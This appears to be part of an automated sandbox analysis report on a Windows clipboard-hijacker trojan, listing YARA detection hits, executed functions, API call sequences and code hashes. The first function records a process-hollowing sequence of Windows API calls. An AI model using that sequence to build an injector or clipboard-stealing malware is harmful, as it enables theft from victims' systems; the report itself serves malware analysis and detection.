Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001F.00000002.4097186671.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05D90110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05D90156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05D9016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05D90255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05D90270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05D90283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05D9029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05D902C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05D902E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05D90304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05D9032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05D90399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05D903BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05D903E1
ResumeThread.KERNELBASE(00000000), ref: 05D903ED
ExitProcess.KERNEL32(00000000), ref: 05D90412

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3e8f57ceeae6b908617950c7d734b846f444d687ba07a3342c56a65f6b05dbad
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: A6B1C774A00208AFDB44CF98C895FAEBBB5FF88314F248158E549AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044307C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044307EE
Module32First.KERNEL32(00000000,00000224), ref: 0443080E

Memory Dump Source

Source File: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, Offset: 04430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4430000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: eb87ba5ffd2bbb64a79934b14169c3469bc4f6a1fd3eb2379fe34443ec2252dc
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: ACF096312007147FDB203FF9A88DB6FB6E8AF4DB26F10072AE642911C4DB70F8458A61

Uniqueness

Uniqueness Score: -1.00%

Function 05D90420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05D90533

Strings

d, xrefs: 05D90584
saodkfnosa9uin, xrefs: 05D904DA
0, xrefs: 05D90492
mfoaskdfnoa, xrefs: 05D90520, 05D90523

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: c12f76cf0e7354cb117db3d1f19d7a9e95db25dff6c70b0b48d8ffb63ef7b7c1
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 12511770D08388DAEF15CBA8D849BEDBFB2AF11708F144059D5446F2C6C3BA5658CB62

Uniqueness

Uniqueness Score: -1.00%

Function 05D905B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05D905EC

Strings

apfHQ, xrefs: 05D905E2, 05D905E5
o, xrefs: 05D90600

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: c7136a7bdb8bec371d20d22577a3b5900dad50dbc870a155676eed610c805f9c
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 5F011E70C0428CEBDF14DB98D5183AEBFB5AF41308F14809DC4492B241D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04430485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044304D6

Memory Dump Source

Source File: 00000000.00000002.2066829815.0000000004430000.00000040.00000020.00020000.00000000.sdmp, Offset: 04430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4430000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: ab29ed26e1e5f2daa3f5c1087debccc4933f66c06ae0bcbfc56545849ed2befc
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 66113C79A00208EFDB01DF98C985E99BBF5AF08751F058095F9489B362D371EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05DAF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05DAF0A7
_wcsstr.LIBCMT ref: 05DAF14E
_strstr.LIBCMT ref: 05DAF3D6
_malloc.LIBCMT ref: 05DAF526
_memset.LIBCMT ref: 05DAF534
_strstr.LIBCMT ref: 05DAF57A
_malloc.LIBCMT ref: 05DAF6F5
_memset.LIBCMT ref: 05DAF703
_free.LIBCMT ref: 05DAF7B5
_free.LIBCMT ref: 05DAF7C2

Strings

", xrefs: 05DAF640

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 6e3b009a59ac41dc7145735bd4b4b271fba33b018e1784f8b1c9d81060eae70a
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 3642E376508341ABDB20DF64CC48F9B7BE9BF85304F04096EF48A97191EB74D549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DAA930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

<, xrefs: 05DAB01B
x2Q, xrefs: 05DAB1F6

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: 1b5366e33f6e5b77b0eb9a906f7b25a47f8d890fcb7681c35c3e3779b99539c3
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: 28D2B3726083419FEB14EF24DC98B9BB7E5FF85304F00492EE48687291EB75D549CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05DA00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 160d00eba6df7a721834823cb45ce96972bc6331bdb57bd5b5207088fa5bd032
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: C6524E72D04208DBDF10DFA8C899BEEB7F5FF04304F14816AD41AA7250E775AA49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05D9E72D
_wcsstr.LIBCMT ref: 05D9E756
_memset.LIBCMT ref: 05D9E784

Part of subcall function 05DDFC0C: std::exception::exception.LIBCMT ref: 05DDFC1F
Part of subcall function 05DDFC0C: __CxxThrowException@8.LIBCMT ref: 05DDFC34
Part of subcall function 05DDFC0C: std::exception::exception.LIBCMT ref: 05DDFC4D
Part of subcall function 05DDFC0C: __CxxThrowException@8.LIBCMT ref: 05DDFC62
Part of subcall function 05DDFC0C: std::regex_error::regex_error.LIBCPMT ref: 05DDFC74
Part of subcall function 05DDFC0C: __CxxThrowException@8.LIBCMT ref: 05DDFC82
Part of subcall function 05DDFC0C: std::exception::exception.LIBCMT ref: 05DDFC9B
Part of subcall function 05DDFC0C: __CxxThrowException@8.LIBCMT ref: 05DDFCB0

_wcsstr.LIBCMT ref: 05D9EA0C
_memset.LIBCMT ref: 05D9EE5C

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 989828dfe1f3d3cb8623c22cc4e83de833f480cdb97a3c4f886686f9f34b4fff
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 40529171A00219DFDF28CF68C894BAEBBFAFF44304F14456AD846AB381D7719945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05DA0B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 64b41dbf1d34d0ca34fe7603066a1079f3cda809a088d4b0c0180b961c6ef619
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 3A427D72E04208DBDF14DFA4C988BEEB7F5FF04308F24416AD416A7290E775AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 05D9DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 7f10393a018042feee3d5057d8e5fb76ec5d8a4954f634da19a2c8e1d19a2550
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 4B527370E04209DFDF14DBA4C848FAEBBB9FF49704F148199E509AB290DB71AD45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00409028 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,004090BA,?,00000001,?,004091D1,p*K,00000017), ref: 0040902D
UnhandledExceptionFilter.KERNEL32(?,?,004090BA,?,00000001,?,004091D1,p*K,00000017), ref: 00409036

Memory Dump Source

Source File: 00000000.00000002.2064601510.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2064587068.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064620160.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064635242.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066693183.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rq0mVjR9ar.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a7f7193b172c057cca90d311833b4c14265e3460fe64a658a86dc86413b280f6
Instruction ID: 9c271a75a06423ec9a28ddb1bc8baa301202090da79109ffa78808dc319c6878
Opcode Fuzzy Hash: a7f7193b172c057cca90d311833b4c14265e3460fe64a658a86dc86413b280f6
Instruction Fuzzy Hash: 37B09231084208BBCB002B91EC09BC8BFA8EB0C662F108020FB4D44470CB62A4508A99

Uniqueness

Uniqueness Score: -1.00%

Function 05E122C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05E1291E

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 200ec04f679cef29d81b93d5f315250b186701760cce9d6afdbed03f0ff69dde
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 0F3240B4E0022D9BEF619F65CC44BAEB779FF44704F0041EAEA4DE6190DB748A808F59

Uniqueness

Uniqueness Score: -1.00%

Function 00408568 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403FD2,00418880,00000014), ref: 00408568

Memory Dump Source

Source File: 00000000.00000002.2064601510.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2064587068.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064620160.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064635242.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064649287.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2065091026.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066693183.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rq0mVjR9ar.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8e7b88524dc62df18261dce9651ded1c2dda84e1938d25dbb137cd4c2c6d6658
Instruction ID: 4b69962bb06309d8b6c41ca1953a565a59f7487489906ead463bd0ff6c468e0b
Opcode Fuzzy Hash: 8e7b88524dc62df18261dce9651ded1c2dda84e1938d25dbb137cd4c2c6d6658
Instruction Fuzzy Hash: F3B012B0701102474B090B397D5418935D4971C202345813DB503C1570DF20C4109F0C

Uniqueness

Uniqueness Score: -1.00%

Function 05D95DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: c4c71a636ec35c71bf390e0a7d6743ae74230fa5ef741d4f70cf1c0e13db4514
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 8642B071629F159BC3DADF24C88055BF3E1FFC8218F048A1DD99997A90DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05D9A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 25cd09c67143a09a3c07a39086385a4b36f54408ba7e1f545b4fdf83f54a7424
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 9922D0B6508B129FCB14CF19D08055AF7E1FF88324F558A6EE8A9A7B10C730BA55CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05D92B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05D93520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 5ad902d6edf872f660d0c6249cd6a9dc09a64b9acfbda506140f869b2a4181c5
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 60027D711187058FC756EE0CD89036AF3E2FFC8305F19892DD68987B64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05D989D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: e5154f54b375f85c7687626ca15edc2f53c59e648e45f4bf397e00945142a0fb
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: FEC12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05D9B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: abd2ceab9c99e63943197ad508722b03cff9d1096cad9311d0796daa7b4cb9ae
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: B0A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05D930F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05D9CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: c1b37a9c27b59a5cf1e15400fd55925b30868798164771437f9974f14cfc67b7
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: EBC17CB5E002599FCB54CFA9C885AEEBBF1FF48200F24856AD919E7201E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05D95DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 8ca7ef59dff5efd7afdaebdc4eb4c384b7af5720f6a64023a8553023b424d8cb
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 2DB183B0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05D97520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: f80c1964bf387f15ac42e9c55eedf0adc499a2c5e31ad99b80a9db0427faef77
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: D2912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05D9C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 0c6fe954d431f16899f9acce4961a5821350b5ff84e0f8c2bb70ef67c40d62d8
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 2DB16AB5E002599FCB84DFE9C885ADEFBF0FF48210F64816AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05D9A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066901045.0000000005D90000.00000040.00001000.00020000.00000000.sdmp, Offset: 05D90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d90000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 475503be87174e3912ef3dc950bafd09bf6bec00741f7e9b3141198c3b19ae45
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 6271E473A20B258B8718DEB98D94192F2F1EF84610B57C27CCE85D7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05D959F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

